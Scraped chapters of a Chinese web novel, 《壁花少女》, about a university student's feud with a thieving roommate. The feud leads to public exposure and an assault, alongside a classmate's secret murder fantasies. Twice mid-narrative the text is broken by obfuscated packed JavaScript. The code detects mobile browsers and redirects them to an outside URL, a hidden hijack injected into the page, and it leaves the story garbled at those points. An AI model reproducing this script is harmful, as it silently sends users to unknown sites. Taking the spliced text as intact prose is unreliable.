《壁花少女》 1. 壁花 寝室,昏暗的灯光下。 胡爱莎坐在自己的位置上。 她盯着手机上不断弹出的消息,一双因高度近视而凸出的眼球不自觉瞪大,浑身都因为接收到的信息气得发抖。 很显然,这副模样的人并不止胡爱莎一个。 另一侧,间隔两个桌椅的位置。 舍友阮六一也同样举着手机,被不断弹出的消息气得发抖。 与她们形成鲜明对比的,是坐在两人之中的女生。 她戴着一副防蓝光的平光眼镜,贴着一张补水面膜,正对着电脑敲敲打打,时不时轻笑出声,和其他两人形成完美的对照。 胡爱莎听到笑声,不自觉瞪向那个女生。 她所在的宿舍是四人间。但在大一结束时,其他三个舍友都转到了其他学院。在宿管的协调下,两个女生搬进来,三人组成了新的舍友关系。 一开始,胡爱莎所在的寝室关系还算不错,偶尔还会有聚餐活动。其中胡爱莎和阮六一同专业同班,两人特意选了同样的课表,每天一起结伴上课,关系更为亲近。 至于另外一个舍友齐佳怡,和从其他学院转入这里的阮六一不同,她原本在这栋楼的二楼住,因为和舍友关系恶劣,便找宿管阿姨申请调换宿舍。 据齐佳怡所称,她的三位舍友生活习惯极其恶劣,有人在宿舍抽烟,有人滥.交到把避.孕套随手乱扔……这让热爱学习,作息规律,身为学生会部长的齐佳怡十分困扰。 当时,胡爱莎对齐佳怡的遭遇愤愤不平。但很快,她就为自己的烂好人行为付出了代价—— 大概过了一个学期,三人熟悉了彼此之间的性格,友爱和谐的氛围逐渐崩坏。 在某一天的某个时刻,胡爱莎已经想不到具体的缘由,齐佳怡开始联合阮六一“孤立”她。 论理来讲,只有阮六一和胡爱莎是同一专业的同班同学,关系应该更亲近一些。但齐佳怡就是用神奇的手段笼络了阮六一,两人合伙对胡爱莎采取视而不见的态度。 双方的关系从陌生到熟悉用了一个学期,但这份关系的崩坏只用了短短数天。 不过,就在三人即将毕业时,宿舍又迎来戏剧性的一幕反转—— 由于一些众所周知的原因,学校取消了大三的暑期实习安排,转而采用课堂小组的形式完成实习报告。 胡爱莎和阮六一恰好分到同一个小组,打破了双方微妙的冷战关系。 数十人的小组协作需要沟通,双方又是一个宿舍的舍友关系。 这时,齐佳怡请假回家不在宿舍,胡爱莎和阮六一终于开始交谈。 ——双方的关系原本并没有那么恶劣,但在长达一年多的宿舍冷战中,再好的友谊也经不起这样漫长的考验。 不等两人交流更多关于小组课程的信息,胡爱莎和阮六一不约而同发现一件事。 她们的一些生活物品,居然离奇失踪了! 阮六一身量瘦长高挑,平时爱好美妆,购买了许多价值不菲的化妆用品。但她发现自己刚在“6·18”大促中收到的千元化妆品不翼而飞! 胡爱莎常年穿着暗色调的衣服,素面朝天,并没有化妆的习惯。但她也惊讶发现,自己购买的一大桶减肥麦片离奇失踪! ——事实上,如果换作别的零食,胡爱莎或许并不会发现它们的丢失。但偏偏是减肥麦片,胡爱莎清楚记得,自己只拆封了包装,尝了一口就嫌弃难吃,搁置到柜子中一直没有再动。 随即,阮六一又发现自己买的零食也消失了大半…… 核对一番后,“凶手”已经锁定到宿舍的唯一嫌疑人——同样热衷于美妆服饰,注重身材管理,喜欢健康减肥食物的齐佳怡。 共同的敌人,让胡爱莎和阮六一的情感迅速升温,恢复到一种亲密到近乎挚友的程度。 她们同仇敌忾,找辅导员“告状”;又另外在朋友圈向齐佳怡“宣战”,痛斥对方的无耻行径,引来同年级学生的八卦。 辅导员叫阳宁,是一位身材矮胖的男青年,他戴着高度数眼镜,微微有些龅牙,笑起来宛若土拨鼠一般露出一排大白牙。 阳宁找她们调查了两次情况。 现在,他建立了一个三人小群。 【阳宁:关于你们反应的事情,我已经知道了,也告诉了齐佳怡的辅导员。】 【阳宁:但现在棘手的问题是,你们并没有直接证据,证明是她本人施行的偷窃行为。】 【阳宁:对于你们让她换宿舍的主张,我必须有切实证据才能够找她谈话,否则我也没办法直接让她更换宿舍。】 【阳宁:要不然这样,我可以协调你们两个,分别调到不同的宿舍,不再和这样的人同住,你们意向如何?】 【阳宁:还有朋友圈的问题。我联系了齐佳怡的父母,他们认为你们朋友圈的内容,是对他们女儿的诽谤,要求你们尽快删除相关内容,否则会起诉你们。】 【……】 在这场失窃风波中,相比于只损失了一罐难吃麦片的胡爱莎,阮六一受到的损失更为惨重,不仅是价值千元的美妆产品,还有将近一年的感情投入。 ——据胡爱莎的了解,她们在事发前的一段时间,经常一同出门拍游玩Vlog,发布到朋友圈大秀友谊。 在看到阮六一向齐佳怡正面“宣.战”,开始朋友圈撕x,并在她面前流泪后悔时,胡爱莎内心有一种隐秘的得意。 但是,亲眼看到一个蠢货流下懊悔的眼泪,这种得意就像是一块馊了的美味蛋糕,即使曾经用料再名贵,也难以掩盖它现在上面已经爬满了蛆虫。 更何况,胡爱莎早就受够了这样的生活。自从意外挂掉两门基础必修课后,胡爱莎的整个世界都是灰暗的。 ——专业课上,同学们都在争先恐后讨好学霸,不愿意找她这样的低绩点同学组队。偏偏所有的专业课,小组汇报都占据了百分之四十到六十的总分比重,美其名曰“增强学生的团队协作能力”。 ——辅导员阳宁,定期找她到办公室谈话。倘若阳宁的笑容能够真诚一些,胡爱莎或许还会有些感动。可惜阳宁只会用打官腔的语气,虚伪的笑容,形式化的完成对每一个挂科学生的询问流程。 再加上糟糕的宿舍关系,胡爱莎感觉自己心里有一个鼓鼓囊囊的气球,在爆炸的边缘不断徘徊。 阮六一看到群聊的消息,激动按着手机,发来一串私聊消息。 【阮六一:凭什么让我们走?!!】 【阮六一:她爸妈居然还敢告我们侵犯自家孩子的名誉权??有本事别偷我们的东西啊!】 【阮六一:对于这样的家长,我也是第一次开了眼了,他们真的相信自己女儿清清白白吗?!肯定也是有所怀疑吧!】 【阮六一:啊啊啊啊啊啊气死我了!】 胡爱莎看着手机,眼角余光留意到齐佳怡的举动,她似乎已经通过阮六一的反应猜到了结果,只是微微挺起身体,敷面膜的脸上看不清神色。 阮六一仍旧在打字发泄情绪。 【阮六一:这一家三口都是什么绝世大脑残啊啊啊!!太可恶了!!!】 看到失控的阮六一,淡定的齐佳怡,胡爱莎心里那个气球像是被人放了一个小口子,“咻”一下瘪下去。 嗯,没错,他们一家三口是绝世大傻X。 你也是一个绝世大傻X,阳宁也是。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“滚开。”何姆拎起书包,却被胡爱莎拽了下来。 “听着,我并不爱你,请不要自作多情。我只是觉得你很适合当我的男朋友。”胡爱莎皱了皱圆圆的鼻头,“你可以开一个条件,只要我能满足。” “凭什么?”何姆意识到教室只剩下他们两个人。 “因为我受够了这样的生活,这样操.蛋的生活,操.蛋的同学、老师和舍友……”胡爱莎连说了几个‘操.蛋’后,用一种强势不容拒绝的语气说道,“我相信你和我一样,有类似的感受。所以,我们应该在一起。” 何姆看着胡爱莎,那股久违的悸动又浮上心头,渐渐蔓延到他的眼球。 他似乎看到自己拿着一把刀,捅破胡爱莎的肚子,打开她的腹部,看到里面蠕动着的内脏。 ——白花花的肠子分泌出清透的黏液,看上去像极了油润雪白的护手霜,探进一只手会发出“噗嗤噗嗤”的响声…… “何姆?”胡爱莎皱眉道。 “好吧。”何姆露出一个标准的假笑。 “好的。”胡爱莎并不介意何姆的敷衍,自顾自道,“那从明天开始,我们要开始约会,培养感情。然后就是报复那些傻逼——我是说,进行一些无伤大雅的恶作剧,如何?” “好吧。”何姆维系着假笑。 他突然找到了人生新的目标,那就是寻找一个完美的时机,让那些幻视的场景在胡爱莎身上成为现实。 2. 壁花 在接下来的时间,胡爱莎和何姆尝试了正常情侣之间应当做的事情。 他们约会,牵手,亲吻。 一吻结束,胡爱莎抚摸自己的心脏部位:“奇怪,我没有什么特别的感觉。” 那些电视剧一定是骗人的。她根本没有任何心跳加速,面红耳赤的反应。 “你呢?”胡爱莎坐在何姆腿上,双手环绕他的脖颈,看向何姆,或许并不是她的问题,而是何姆的问题。 “呃——”何姆的手掌冒出细密的汗珠,他从未与任何人类有过如此亲密的举动,他能察觉到自己的肌肤因为紧张而战栗。 何姆强迫自己冷静下来,脑海中不断复盘杀死胡爱莎的详细流程。 “你太瘦了。”胡爱莎松开双手,翻身坐到何姆身旁的椅子上,兴致缺缺。 她已经断定,是何姆的问题。 何姆并不是一个具备性张力的男生,他的个子不高,身材清瘦,偶尔走路时会同手同脚,性格内向,所以胡爱莎无法在接吻时感受到异性荷尔蒙的刺激。 与何姆接吻的感受,就像是在啃自己的手背皮肤。 现在正是深夜,校园内空无一人。 事实上,这时距离两人正式成为情侣关系不到半天的时间,而在此之前,两人只是拥有微.信好友的陌生人关系。 何姆看着朦胧的月色,悄悄打量着身旁的胡爱莎,她不知道在想什么,正盯着远处的草丛发呆。 胡爱莎有一双狭长的眼睛,鼻头偏大,她的头发像杂草一般干枯,一身黑衣黑裤。 何姆难以推断胡爱莎的具体体重,但从刚才她坐在自己腿上的份量来看,她或许比自己还要重一些。 何姆认为自己必须说一些什么。 这不是为了缓解尴尬,而是为了获得胡爱莎的信任。 他必须先取信于胡爱莎,才能够寻找一个合适的时机将她骗到一个无人的角落,从而实施自己的杀人计划,成为一名合格的变.态。 何姆轻咳一声:“说说你的计划吧。” 在晚上学校食堂的约会中,何姆已经得知,胡爱莎遇到一个道貌岸然的小偷舍友。 “齐佳怡基本每个月都会回家一次,这两天她就不在宿舍。”胡爱莎说道。 经过复盘,胡爱莎和阮六一后知后觉意识到,齐佳怡的家距离学校并不远,她每次偷了东西之后,都会找借口回家住两天。 所以她们很难找到齐佳怡偷窃的直接证据,再加上现在双方已经彻底撕破脸皮,甚至闹到了齐佳怡父母那边,想要直接取证更是难上加难。 “明天是沙盘模拟的小组汇报,学院所有专业的学生都需要出席,她一定会回来,这是我们动手的最好时机。”胡爱莎说道。 何姆说道:“我能为你做些什么?” “你要在汇报开始前,把她叫出来。然后我会给你信号,从后面兜头把她揍一顿,这样她就没办法参加小组汇报了。”胡爱莎说道。 何姆看向胡爱莎,他没有说话,但神色中流露出不解。 “是的,这很暴力,但很解气。”胡爱莎感觉自己心里那股火又上来了。 不同于阮六一物质和友谊的双重损失,其实胡爱莎并没有那么在意自己丢失的那罐营养麦片。 刚发现麦片空罐的一瞬间,胡爱莎是愤怒的。但在后续一次次踢皮球般的交涉中,胡爱莎认为自己对于所处环境的失望和愤怒,远远超过了一罐麦片本身的损失。 齐佳怡的存在,更像是一个宣泄口。 她必须做些什么,狠狠报复这个该死的、令人窒息的环境。 沉默寡言,没有任何朋友的何姆,就是执行计划的最佳人选。 “你的那个舍友呢?她会帮忙吗?”何姆问道。 “不,她也是一个十足的蠢货。”胡爱莎皱了皱鼻子,“我也很讨厌她。” “好吧。”何姆沉默了片刻,声音有些犹豫,“可是——” 即使他坚定不移地认定自己是一个变.态,也从来没有做过这样的事。 何姆最出格的癖好,就是捡拾一些小动物的尸体,它们多数是一些被车撞死的猫猫狗狗。他会用家里的水果刀偷偷肢解掉这些小动物的尸体,再将这些可怜的小生命埋到家附近的公园树下。 他的身体并不壮实,个头只比胡爱莎略微高出一些。何姆甚至有些怀疑,或许胡爱莎的舍友比他还要强壮。 胡爱莎眯起眼睛,看向何姆:“你想说什么?” “没什么。”何姆闭上嘴巴,在心中暗暗告诫自己,这一切都是为了杀死胡爱莎所付出的必要代价。 他可以做到。 他必须能够做到。 —— 第二天是个晴天,阳光正好。 胡爱莎等人所在学院位于大学的分校区,这里只有两栋像样一些的教学楼,称为“一教”和“二教”,由商学院和数媒学院共同使用。 现在期末考试已经结束,校园内只有尚未结束暑期实习课程的大三学生。 何姆站在一教楼前的僻静角落,他试图通过规律的深呼吸,调整自己的心率,让自己看起来没有那么不自在。 齐佳怡走出教学楼,一眼就看到了穿着蓝格子衬衫的何姆。 她身量高挑,与何姆平头,在用审视的视线迅速扫视了一遍何姆后,她迅速失去了对眼前男生的兴趣,拧眉道:“同学,请问是你找我吗?” 何姆看向对方,努力维系着淡定:“是的。听说你是志愿者部门的部长,而我对进入学生会工作十分感兴趣。” 齐佳怡扯了扯嘴角:“学生会每年秋季都会有招新活动,欢迎到时候报名。” 何姆一边拖延齐佳怡的时间,一边环视四周,寻找胡爱莎可能的藏身地点,但胡爱莎迟迟没有出现,他也没有收到对方发出的任何暗号。 齐佳怡心里有些不耐烦,马上就要轮到她进行小组汇报,她十分看重这种当众汇报的机会,并不想浪费自己的时间。 但毫无疑问,陌生异性的询问,也能够从另一层面满足她的虚荣心。 更何况,虽然眼前的男生身材瘦弱,样貌平庸,但他的长相和衣着都足够干净,这一点远胜许多邋遢但自我感觉良好的男生们,所以齐佳怡愿意忍受他的搭讪。 齐佳怡盯着何姆,突然皱了皱眉,有些疑惑道:“同学,我是不是之前在哪里见过你?” 何姆环顾四周,他意识到自己很难在对方直白的注视下,挥舞自己的拳头,将人击倒在地。 他还意识到,齐佳怡比他想象的更加成熟。这种强势的性格不同于胡爱莎的盛气凌人,是一种更像成 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所幸何姆并不是一个喜欢刨根问底的人,他也早就习惯了被人忽视,于是何姆低声道:“好吧。” 小组汇报开始。 齐佳怡是国贸专业的第三组,她担任组长的职务,负责上台汇报演讲。 在将近一百人参与的沙盘模拟比赛中,齐佳怡所在小组综合成绩排在第一名,她的演讲内容更倾向于分享自己的成功经验。 她穿着偏职业风的衬衫西服,踩着小高跟,神色从容自信,对着PPT内容侃侃而谈。 除了第一排的辅导员们,坐在前两排的学霸们不住点头,有人在做笔记,打定主意要等演讲结束后,请教齐佳怡一些问题。 何姆听到周围同学在小声议论。 “是她吗?偷舍友东西那个。” “不可能吧!人家也算是好学生,又是学生会部长,没有作案动机啊!” “能上得起我们学院的,家庭条件都不差,怎么会偷别人东西呢?” “对,我听说齐佳怡准备留学澳洲——” “她舍友不会是造谣吧?” 很显然,他们都是齐佳怡的同学,并不认识胡爱莎本人。 何姆留意着胡爱莎的反应。 幻灯片明灭的灯光下,胡爱莎举起左手,对着前方齐佳怡的方向,比了个瞄准开枪的手势。 胡爱莎轻声道:“砰——” 随着她的动作,大屏幕切换到下一张幻灯片,一段视频突然开始自动播放。 画面背景是所有学生们都很熟悉的场所,辅导员办公场所文德楼的某个房间。这明显是一段非正常拍摄的视角,镜头晃了两下,最后在一个固定的角度停下来。 紧接着,阳宁的脸出现在镜头之内。 看到熟悉的面庞,阶梯教室内瞬间沸腾了—— “怎么回事?” “咦,那不是辅导员吗!” 阳宁戴着黑框眼镜,他起身关上办公室的门,重新坐下时,他拿出一个笔记本,声音严肃:“好了,这里没有其他人。你们可以告诉我,齐佳怡到底做了什么?” 3. 壁花 白炽灯下,镜头收音有些失真。 阮六一带着哭腔的声音传来:“老师,她偷了我们的东西。” 阳宁推了下眼镜,双手交叠:“什么东西?” “我的一罐麦片,阮六一的零食。”胡爱莎的声音响起。 “还有我刚买的化妆品。”阮六一说道。 “行,这个情况我知道了。”阳宁说道,“我会找她的辅导员谈这件事。” “我们还想申请让她搬出宿舍。”胡爱莎说道。 “没错。”阮六一附和道。 阳宁语气有些为难:“但是,这个情况是这样——” 他的话没有说完,经历了震惊、傻眼、慌乱再到反应过来的齐佳怡,终于按下了暂停键。 在场所有学生都惊呆了。 虽然只有短短数十秒的视频,但直接涉及到齐佳怡本人,还有辅导员阳宁的身影,透露的信息含量极大。 身为学生会工作部门的部长,齐佳怡在学院的知名度很高,不止许多学弟学妹听说过她的名字,一些负责学生工作的大学老师们也和她打过交道。 之前胡爱莎和阮六一在朋友圈向齐佳怡“宣战”,但两人的社交圈有限,只有部分同专业的学生知道这件事;再加上齐佳怡的影响力,许多学生反而选择相信齐佳怡。 但是,这件事居然闹到了辅导员那里! 在大学这个辅导员占据绝对权威的环境中,阳宁的参与,令这件事的可信程度直接上升到一个恐怖的百分比。 也就是说,一向作为标准模范生、家境优渥的学生会部长齐佳怡,居然真的心理扭曲,偷窃成癖?! 有个别好事者,悄悄拿起手机,装作漫不经心的样子,对着演讲台的齐佳怡拍视频,然后低头在自己的聊天群内爆料。 众人议论纷纷,根本没心思听小组汇报的内容。 “妈呀,居然有这么精彩的一幕!” “不敢相信,齐佳怡平时衣着打扮也不差钱,怎么会偷舍友东西呢??” “家里有钱,又不代表人品没问题。有的人就是喜欢占小便宜,明明自己也能买得起,但就是觉得用别人的东西才能给自己省钱。” “话是这么说,可是真见到这种人,我还是难以理解!” “因为坏人是按照人群数量呈比例出现的,和家境、学历又没有必然联系呀!” “成绩越好的学生,只能证明他们在学习方面付出了许多努力,又不能证明他们乐善好施,是一个大善人!” 一片混乱中,何姆看向胡爱莎:“这是你做的。” 是肯定句,不是疑问句。 胡爱莎看着何姆一脸笃定的神色,心中升起一股暴戾的情绪,她又要开始厌蠢了。 但她知道,她不能对何姆这样。在完成报复计划,彻底离开这里之前,她需要何姆的帮助。事实上,也正是因为何姆的出现,胡爱莎才坚定了想要逃离这里的念头。 于是胡爱莎用一种得意的语气说道:“是我做的。在你支走齐佳怡的时候,我在教室用U盘替换了他们的演示文稿。” “这么容易吗?”何姆有些诧异。 “你以为谁都享受当众汇报的感觉吗?”胡爱莎用力翻了个白眼,“在小组氛围糟糕的情况下,最后负责整合汇报的人,任务才是最繁琐的。因为如果你的队友不愿意配合修改,那么只能你个人修改其他人的报告。” “我们也有小组汇报。”何姆突然道,“看上去,我们就像是不配合的那种人。” “……”胡爱莎陷入语结,但这只是短短的瞬间,愤怒和不耐烦的情绪让她很快找回了理智,“我们一开始就是这样的人吗?如果有可能的话,谁愿意当一个摆子呢!?” 能够进入同一所大学念书,这证明所有人的基本智商相差无几,但渐渐地,同一个群体分化出摆子、卷王,以及夹杂在两者中间举棋不定的学民三种群体。 情况极端的摆子和卷王十分稀有,更常见的还是游走在两者边界的学民。 胡爱莎自认属于学民群体,她有一颗不想摆烂的心,但每到需要和同学合作的任务时,一看到同组同学那半死不活的表现,她也就果断选择了摆烂。 有时候被人坑,有时候坑别人,学民们就在彼此无尽的折磨中渐渐毕业。 原本胡爱莎认为是自己的问题,她的情商不够高,性格拧巴,总在自卑和自傲的状态中反复横跳,又容易内耗,所以才在和他人的交往中总是搞砸事情。 但现在,胡爱莎已经彻底醒悟了。这根本不是任何一个人的问题,和学渣、学民以及学霸的身份无关,这完全是教育体系的问题。 这里是一个令人窒息的地方。 将一群怀揣着美好幻想的少年少女,塞进一个个班级和宿舍,和性格习惯完全不同的陌生人强行绑定成亲密无间的“同学”和“舍友”关系,并以“成绩”作为唯一的原则,评选各类荣誉奖项,将人分成三六九等。 尤其是一些学院的课程设计,会打着所谓的“人文关怀”旗号,强行在打分体系中加入小组合作的环节,简直恶心透顶! ——听说国外的大学重视学生的综合发展,并不唯成绩论。但胡爱莎对此持有保留意见,在她眼中,所有的教育体系都是为了扼杀一个人类原本独一无二的天性,让其“泯然众人矣”。 何姆看着愤怒的胡爱莎,试图说明:“我并不在意他们的看法,因为只要想象他们是我人生中并不重要的存在,我就不会在意。” “这样的想法,你不觉得可怜吗?”胡爱莎尖锐道。 何姆陷入沉默。他并不认为自己可怜,因为他是一个背负着使命的纯血变.态。 这样看来,毫无特殊之处的胡爱莎,确实有一点点可怜。 但很显然,他不能将这一点告诉胡爱莎。 这时,教室内老师已经控制住了场面,强行让学生们安静了下来。 “你看着吧,事情还没有结束。”胡爱莎露出一个得意的笑容。 齐佳怡站在演讲台上,脸色惨白。 她的同组成员围在周围,似乎正在安慰她。 负责控场的老师正是齐佳怡所在专业的辅导员,她拿着麦克风,和阳宁等在场老师简单沟通后,决定继续汇报演讲。 至于齐佳怡,她的同学上台关掉了幻灯片,准备就这样结束。——反正她们的成绩是第一名,每个人的均分应该都在90分以上,现在的汇报更像是经验总结,并不占分数比重。 但这个时候,原本脸色惨白摇摇欲坠的齐佳怡,突然制止了同学的举动。 她重新打开幻灯片,向下一位准备登台汇报的同学微微摇头。 “喂,喂?能听到我的声音吗?”齐佳怡重新接过麦克风,她的声音从音箱中传进教室每一个人的耳朵中。 她扫视教室台下的每一个观众,在胡爱莎的身上停留了片刻,但她的视线很快就转移到了第一排的老师们身上。 齐佳怡抬手扶住麦克风,露出脆弱的宛若天鹅般的修长脖颈:“诸位同学,刚才我的汇报出了一些意外,我相信在颜老师维系秩序的这段时间,你们中的大部分人应该已经听说了我身上的争议。” “对于这样的意外情况,我感到十分抱歉。但是,请再给我五分钟的时间,让我完成这场小组汇报。——这是我们小组成员用了将近半个月,加班加点才完成的汇报展示,我不想因为我一个人的问题,影响到全组同学的辛苦付出。” “我无意辩解什么,但我的父母曾经教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148280|164782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过我一句话,清者自清,而那些杀不死你的,终将会使你更加强大!” 齐佳怡向众人深深鞠了一躬,等到她重新起身,她的神色坚毅,眼眸中折射出破碎的光芒,居然有盈盈泪光。 不知道是谁在台下带头鼓掌,渐渐地,所有人都被她的表达感染,不约而同鼓起掌来。 “天呐,不愧是学生会部长!” “这应该是故意诬告吧!” “看到阳宁的时候我还信了,真是不应该!” 第一排的辅导员们脸上露出了欣慰的欣荣。 齐佳怡更加激动,她飞快抬手,擦拭掉眼泪,大声道:“谢谢大家,谢谢大家对我的信任!” 一时间,教室内掌声更加热烈,气氛被烘托到顶峰。 齐佳怡再次鞠躬:“谢谢,真的谢谢你们!至于那些流言蜚语,我并不会和对方计较,就让它随风远去吧!” 胡爱莎:“……” 何姆:“……” 齐佳怡继续自己的汇报演讲,但胡爱莎分明看到,她特意朝自己眯起眼睛挑衅! 手机传来新消息提示音。 是阳宁的消息。 【阳宁:汇报结束后,来我的办公室一趟。】 【阳宁:你和阮六一都要来。】 胡爱莎愤怒地关掉手机屏幕。 这就是操.蛋的生活。 善没善报,恶没恶报。坏人不会受到惩罚,好人却永远在倒霉的路上。 胡爱莎“蹭”一下站了起来。 “你要去哪里?”何姆下意识道。 胡爱莎死死盯着讲台上的齐佳怡,狠狠磨了磨牙,大步流星走下阶梯教室。 每个小组汇报的时间只有十分钟,留给齐佳怡继续的时间并不算久。 齐佳怡结束汇报时,脸上挂着一抹微笑。 在最初被胡爱莎和阮六一发现自己的行径,并被闹到辅导员和父母那里时,她确实经历过短暂的慌乱和忐忑。 她性格要强,处处都要比别人好。不论是学习成绩,还是社团实践,她都付出了许多时间和精力,最终才取得不错的结果,收获同学和老师们的信任。所以,她根本承受不起人设崩塌的后果。 但随即,父母对她无条件的信任和维护鼓舞了她,让她重新找回了自信。 偷用别人东西这件事确实不光彩,但是,她迅速复盘了手中的物品,意识到她每次做事都非常小心,笃定胡爱莎和阮六一没有抓到任何实质性证据。 在掐架对骂时,看到两个蠢货,尤其是阮六一,居然不知道每次聚餐时她都会假装抢单结账,再让对方把费用全部转给她时,齐佳怡甚至感到可笑。 这样不设防的蠢货,不就应该付出代价吗?齐佳怡嘴角带笑,下意识瞟向观众席。 阮六一坐在中间位置,气得脸色发白。 胡爱莎……咦,胡爱莎去了哪里? 齐佳怡有些疑惑。不过胡爱莎在这场风波中并不重要,齐佳怡从未将素面朝天,五官平庸的胡爱莎列为竞争对手。 只有同样身材高挑,注重化妆打扮的阮六一,才和她有共同话题,也是竞争对手。 齐佳怡很快收拾好电脑设备,将位置让给了下一个准备演讲的同学。 下一组的幻灯片被投影到大屏幕上,教室重新恢复了暗光模式。 齐佳怡拎着电脑包,摸黑下台。 就在她踩到最后一个台阶时,齐佳怡突然听到一阵风声。 紧接着,不等齐佳怡反应过来,一记拳头直直朝她的面门飞来。 齐佳怡吃痛,摔倒在地。 但对方显然没有想放过她的意思,直接一把揪住她精心保养的长发,骑坐在她的身上,动手狂锤她的脸颊、腹部。 4. 壁花 现场一片混乱。 桌椅倒地声、尖叫声混杂在一起。 阳宁反应最快,立马起身,试图阻止现场的混乱。 但他原本坐在阶梯教室的第一排,前面还有一排投影设备的阻挡,一时间很难抵达战火“前线”。 胡爱莎率先发起攻击,占据了先机。 但齐佳怡也不是吃素的,她很快反应过来,尖叫一声,揪住了胡爱莎的头发。 两人缠斗在一起,滚到石灰地板上。 早就有学生围了上去,尤其是双方班级的班长和团支书,他们分别抓住胡爱莎和齐佳怡,试图分开两人。 但胡爱莎死死抓住齐佳怡的头发,劝架的人也不敢用蛮力分开。 “你们愣着干什么!?快来帮忙啊!”胡爱莎的班长是个身材瘦削的女生,她揪住胡爱莎的衣服,气喘吁吁道。 阮六一距离最近,听到班长的指令,她下意识上前想要帮忙拽开两人。 她的手甚至都已经摸到了胡爱莎的衣襟下摆,但一看到齐佳怡那张脸,她硬是停住了试图劝架的趋势。 阮六一环顾四周,讲台下方布满各种投影设备,空间狭窄逼仄,在容纳了胡爱莎和齐佳怡两人后,基本只剩下她和班长两个女生。 犹豫片刻后,阮六一终于下定决心。 她先是装作劝架的模样,趁人不注意的功夫,用力猛踹了齐佳怡的小腿肚几下,随后又将脚挪到齐佳怡的裙摆上,用力碾了数下。 这时,辅导员阳宁终于突破重重人海阻碍,杀出一条“血路”。 胡爱莎和齐佳怡被强行分开。 相比于素面朝天的胡爱莎,齐佳怡的模样更加狼狈,她的妆容已经彻底花掉,精心准备的假睫毛挂在眼皮上,眼线被泪水冲成了蜿蜒的黑色痕迹。 即使再愤怒,胡爱莎最终也没有下死手。 但饶是如此,齐佳怡的面庞还是多出一道血痕。她坐在地上,瞪着胡爱莎,尖叫道:“胡爱莎,你是疯了吗!你是不是有病啊!” 胡爱莎被拉到另一边,班长、阮六一等人强行按住了她。 她的样子并不比齐佳怡好多少,头发被齐佳怡拽掉一大把,鼻孔缓缓流出一道鼻血,手臂上也尽是齐佳怡留下的红色抓痕。 齐佳怡情绪激动,捂脸哭出了声:“老师,我没脸见人了——” 胡爱莎耸了耸肩,一副浑不在意的模样。 突然,她抬头扫向人群,视线直勾勾盯着两个举起手机偷拍的学生。 那两个学生见状,神色讪讪,放下手机。 阳宁捂着脑袋,看上去十分头痛:“各班班长,麻烦让无关的学生们都散场吧。这件事我和颜老师会处理,大家不要在网上随便发布一些不必要的言论和视频啊!现在实名制上网,学院都能查到你们的,我可不想找你们之中的一些人谈话了啊!” 齐佳怡的辅导员颜娜娜看向阳宁:“阳老师——” “各处理各的学生。”阳宁看向胡爱莎,做出一个‘请’的手势,“你,跟我回一趟办公室。” 胡爱莎抹了把鼻血,站了起来。 这时,何姆突然拦住阳宁。 他鼓起勇气,直视阳宁,声音有些颤抖:“等等,我也去。” “你?”阳宁打量了何姆一眼,最终一挥手,“行,你们两个都过来。” 原本面无表情的胡爱莎,倒是瞥了眼何姆,有些意外。 何姆看向胡爱莎,朝她露出一个标准的假笑,似乎在说:别怕,有我。 胡爱莎忍住翻白眼的冲动,扭过了头。 —— 辅导员办公室。 阳宁站在桌子前不停踱步,在开口前,他突然想起什么,警惕看向胡爱莎:“你没有在偷偷录像吧?” “没有。”胡爱莎无精打采道,似乎刚才的打架已经耗尽了她的全部能量。 “能把你的手机放在桌子上吗?”阳宁谨慎道。 胡爱莎立马把手机扔到了桌子上,不仅如此,她还站起来,拉出自己的衣兜,示意里面并没有任何可疑的录像设备。 阳宁终于安心了。 他迅速切换回油滑的办公状态,用一副温和谈心的模样,重重叹了口气:“等等,你先别说话,我看看咱们最近的聊天记录——” 胡爱莎坐在凳子上,面无表情。 “你之前挂了两科。”阳宁看着手机屏幕,“怎么回事?” 胡爱莎看着阳宁那副油滑的嘴脸,心中那股暴戾的情绪重新燃起:“这些都过去了。” 阳宁又道:“行,挂科的事儿算过去了。但胡爱莎,你知道你今天的行为是什么性质吗?我先不追究你偷录视频的责任,你还当众打架斗殴,生怕背不上学院的处分是吗?” “我找你反应过问题,但是你无动于衷。”胡爱莎尖锐道。 “我无动于衷,你就可以采取这样的方式吗?更何况,我从来没有说不处理这件事,是你们没有齐佳怡的证据。说难听一点,你们没有实际证据,和诬告有什么区别?我也说了,可以协调你和阮六一转宿舍,这难道不是在帮你们吗?”阳宁摊手道。 “诬告?”胡爱莎简直要被阳宁的话气笑了,“拜托!我是花钱来上学的,每年的学费收着,各种学杂费也没少交,结果我的舍友,堂堂学生会部长,偷我的东西,联合另外舍友孤立我。我来找你这个所谓的辅导员寻求帮助,你说我是诬告?!” “不是我这么说的,只是咱们凡事都要讲证据。你和阮六一没有抓到现行证据,是事实。你当众殴打齐佳怡,也是事实。”阳宁严肃道。 “是啊!我应该检讨自己,为什么这么软弱,别人都骑到我头上拉屎了,我还要鼓掌叫好,说拉得好!”胡爱莎冷笑道。 “胡爱莎,你再这样不好好说话,我们就没法再谈下去了。”阳宁皱眉道。 “我本来也没打算再和你谈。”胡爱莎此时冷静得可怕。 在决定动手的那一刻,她就已经放弃了寻求阳宁的帮助。因为阳宁只会让她反思自己,检讨自己的问题。 在过去很长一段时间中,胡爱莎对于“老师”的身份有一种盲目的崇拜,认为他们一定是正义的化身,能够为自己主持公道。 但她现在已经看明白了,“老师”只是一种职业,和普通人没有什么不同。那些新闻报道中大公无私、舍己为人的老师有吗?当然有的,但绝对不在她胡爱莎的身边。 